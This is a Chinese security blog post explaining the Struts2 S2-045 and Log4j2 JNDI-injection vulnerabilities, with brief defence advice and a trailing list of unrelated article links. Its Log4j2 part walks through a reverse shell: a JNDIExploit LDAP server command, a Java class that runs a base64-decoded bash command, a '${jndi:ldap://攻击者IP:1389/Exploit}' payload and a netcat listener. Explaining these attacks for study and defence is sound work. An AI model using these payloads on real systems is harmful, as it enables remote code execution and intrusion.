当前位置: 首页 > article >正文

【HW系列】—web组件漏洞(Strtus2和Apache Log4j2)

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Struts2
    • Struts2 框架介绍
    • Struts2 历史漏洞汇总(表格)
    • Struts2-045 漏洞详解
  • Log4j2
    • Log4j2 框架介绍
    • Log4j2 漏洞原理
        • 1. JNDI 注入
        • 2. 利用过程
    • Log4j2 历史漏洞
    • JNDI+LDAP 反弹 Shell 流程

Struts2

Struts2 框架介绍

Apache Struts2 是一个基于 MVC 设计模式的开源 Web 应用框架,广泛应用于企业级开发。其核心特点包括:

  • 灵活的请求处理:通过拦截器机制动态处理用户请求,支持 RESTful API。
  • 扩展性强:支持插件机制(如文件上传、JSON 解析)。
  • 安全风险:历史版本因设计缺陷(如输入验证缺失、危险函数滥用)多次曝出高危漏洞。

Struts2 历史漏洞汇总(表格)

注:更多漏洞可参考 Apache Struts2 官方安全公告。


Struts2-045 漏洞详解

1. 简介
Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 远程代码执行漏洞,因 Jakarta 文件上传插件对 Content-Type 头未严格校验,攻击者可构造恶意 HTTP 请求头注入 OGNL 表达式,导致目标服务器执行任意命令。
2. 影响范围

  • 受影响版本:
    • Struts 2.3.5–2.3.31
    • Struts 2.5–2.5.10
  • 典型场景:使用 Struts2 框架的文件上传功能且未升级补丁的 Web 应用。

Log4j2

Log4j2 框架介绍

Apache Log4j2 是 Java 生态中广泛使用的 日志记录库,支持动态配置、多输出源(文件、控制台、数据库等)和日志级别管理。其核心功能包括:

  • 高性能异步日志:适用于高并发场景。
  • 插件化架构:支持自定义 Appender、Filter 等组件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心机制:Log4j2 的 Lookup 功能允许通过 ${jndi:ldap://attacker.com/exp} 解析动态内容。
  • 漏洞触发:当应用程序记录包含恶意 JNDI 表达式的日志时,Log4j2 会通过 JNDI 协议(LDAP/RMI)请求远程资源,加载并执行攻击者部署的恶意类文件。
2. 利用过程
  1. 构造恶意请求:攻击者发送包含 ${jndi:ldap://恶意服务器/exp} 的日志内容(如 HTTP 请求头)。
  2. 触发解析:Log4j2 解析该内容,向 LDAP/RMI 服务器发起请求。
  3. 加载恶意类:恶意服务器返回指向远程 HTTP 服务的 Reference 对象,客户端下载并执行恶意类文件。

Log4j2 历史漏洞

在这里插入图片描述


JNDI+LDAP 反弹 Shell 流程

  1. 搭建恶意 LDAP 服务器:
    • 使用工具(如 JNDIExploit)启动 LDAP 服务,并绑定指向恶意类的 URL。
java -jar JNDIExploit-1.2.jar -i 攻击者IP -p 1389  
  1. 生成恶意类文件:
    • 编写包含反弹 Shell 代码的 Java 类(如 Exploit.java),编译后托管在 HTTP 服务器。
public class Exploit {  static {  try {  Runtime.getRuntime().exec("bash -c {echo,base64编码的Shell命令} | base64 -d | bash");  } catch (Exception e) {}  }  
}  
  1. 构造 Payload:
    • 发送包含 ${jndi:ldap://攻击者IP:1389/Exploit} 的请求至目标应用。
  2. 触发漏洞:
    • 目标服务器解析 Payload,从 LDAP 服务器获取恶意类地址并加载执行,反弹 Shell 至攻击者监听端口。
  3. 接收 Shell:
nc -lvnp 监听端口  

防御建议:

  • 升级 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置网络防火墙限制外连请求,使用 WAF 拦截恶意特征。

注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

http://www.lryc.cn/news/2387439.html

相关文章:

  • 第六十八篇 从“超市收银系统崩溃”看JVM性能监控与故障定位实战
  • Debian 11 之使用hostapd与dnsmasq进行AP设置
  • 有铜半孔的设计规范与材料创新
  • 机器学习知识体系:从“找规律”到“做决策”的全过程解析
  • STM32之FreeRTOS移植(重点)
  • 做好测试用例设计工作的关键是什么?
  • R语言科研编程-标准偏差柱状图
  • 未来教育考试答题软件4.0【自用链接备份】
  • OpenGL Chan视频学习-11 Uniforms in OpenGL
  • Flink系列文章列表
  • GitLab 从 17.10 到 18.0.1 的升级指南
  • 产业集群间的专利合作关系
  • PyQt学习系列02-模型-视图架构与数据管理
  • redis主从复制架构安装与部署
  • Kotlin 中 Lambda 表达式的语法结构及简化推导
  • YOLOv2 深度解析:目标检测领域的进阶之路
  • KT6368A通过蓝牙芯片获取手机时间详细说明,对应串口指令举例
  • 计算机网络实验课(二)——抓取网络数据包,并实现根据条件过滤抓取的以太网帧,分析帧结构
  • 自动生成提示技术突破:AUTOPROMPT重塑语言模型应用
  • 78. Subsets和90. Subsets II
  • VSCode 插件 GitLens 破解方法
  • linux 通过命令将 MinIO 桶的权限设置为 Custom(自定义策略)
  • 模型评价指标介绍
  • ElasticSearch整合SpringBoot
  • ArcGIS Pro 3.4 二次开发 - 知识图谱
  • 2025上半年软考高级系统架构设计师经验分享
  • uni-app学习笔记十二-vue3中创建组件
  • React 虚拟dom
  • 互联网大厂Java求职面试:AI与大模型应用集成中的架构难题与解决方案-1
  • 《算法笔记》13.2小节——专题扩展->树状数组(BIT) 问题 D: 数列-训练套题T10T3